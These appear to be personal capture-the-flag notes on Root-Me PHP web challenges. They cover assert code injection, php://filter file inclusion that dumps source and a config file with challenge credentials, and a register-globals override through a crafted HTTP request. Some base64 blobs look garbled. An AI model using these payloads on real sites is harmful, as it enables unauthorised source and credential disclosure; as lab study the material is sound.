

PHP

Challenges

- **Hackthebox Challenge : Web : Grammar** --> PHP type juggling
- **PHP - assert** : <https://www.root-me.org/en/Challenges/Web-Server/PHP-assert>
strpos('a','x') === true or /*Injected code*/; strpos('+'.php, '..') === false
- **PHP - Filters**: <https://www.root-me.org/en/Challenges/Web-Server/PHP-filters>

<http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20and%20understanding%20PHP%20streams%20and%20filters.pdf>

using php filter we display the result in base64 format and then when we get it we decode it

`php://filter/convert.base64-encode/resource=home`

example : <http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php://filter/convert.base64-encode/resource=home>

we use this payload from the cheat sheet

<http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=login.php>

now we get the login page without processing the php in it

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PD9waHAKaW5jbHVkZSgiY29uZmInLnBocClpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVz
ZXJuYW1lIlI0PlCYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkKXsKICAgIGlmICgkX1BPU
1RbInVzZXJuYW1lIlI0PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JklI09PSRwYXNzd
29yZCI7CiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNRICE8L2gyPilpOwogICAgICBwc
mludCgiVG8gdmFsaWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxi
ci8+PGJyLz4iKTsKICAgIH0gZWxzZSB7CiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyB
zdWN0IHVzZXIvcGFzc3dvcmQ8L2gyPjxiciAvPilpOwogICAgfQp9IGVsc2Ugewo/
PgoKPGZvc0gYWN0aW9uPSlilG1ldGhvZD0icG9zdCI+CiAgTG9naW4mbmJzcDs8YnlvP
gogIDxpbnB1dCB0eXBIPSJ0ZXh0IiBuYW1IPSJ1c2VybmFtZSIgZ48YnlvPjxici8+CiAgUGF
zc3dvcmQmbmJzcDs8YnlvPgogIDxpbnB1dCB0eXBIPSJwYXNzd29yZCIgdmFtZT0icGFzc
3dvcmQilCI8+PGJyLz48YnlvPgogIDxici8+PGJyLz4KICA8aW5wdXQgdHlwZT0ic3VibWI0Ii
B2YWx1ZT0iY29ubmVjdCIgLz48YnlvPjxici8+CjwvZm9ybT4KCjw/cGhwIH0gPz4=
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decode base64 from burp or online

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<?php
```

```
include("config.php");
```

```
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
        print("<h2>Welcome back !</h2>");
        print("To validate the challenge use this password<br/><br/>");
    } else {
        print("<h3>Error : no such user/password</h2><br />");
    }
} else {
    ?>
```

```
<form action="" method="post">
Login   <br/>
<input type="text" name="username" /><br/><br/>
Password   <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
```

<?php } ?>

do same with config .php

<http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=config.php>

PD9waHAKCiR1c2VybmFtZT0iYWRTaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVB
BRil7Cgo/Pg==

```
<?php
$username="admin";
$password="DAPt9D2mky0APAF";
?>
```

- **PHP - register globals :** <https://www.root-me.org/en/Challenges/Web-Server/PHP-register-globals>

first we know that there is a backup file

we download

<http://challenge01.root-me.org/web-serveur/ch17/index.html.bak>

we notice that the code compares hidden_password to password we passed

we can override this hidden password

```
POST /web-serveur/ch17/ HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 13
Cache-Control: max-age=0
Origin: http://challenge01.root-me.org
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge01.root-me.org/web-serveur/ch17/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ar;q=0.8
Cookie: PHPSESSID=fp82cd7757e3raq4ogqcj3usf0; hidden_password=1234
password=1234
Connection: close
```

now refresh the page to get the original value since your session is now logged in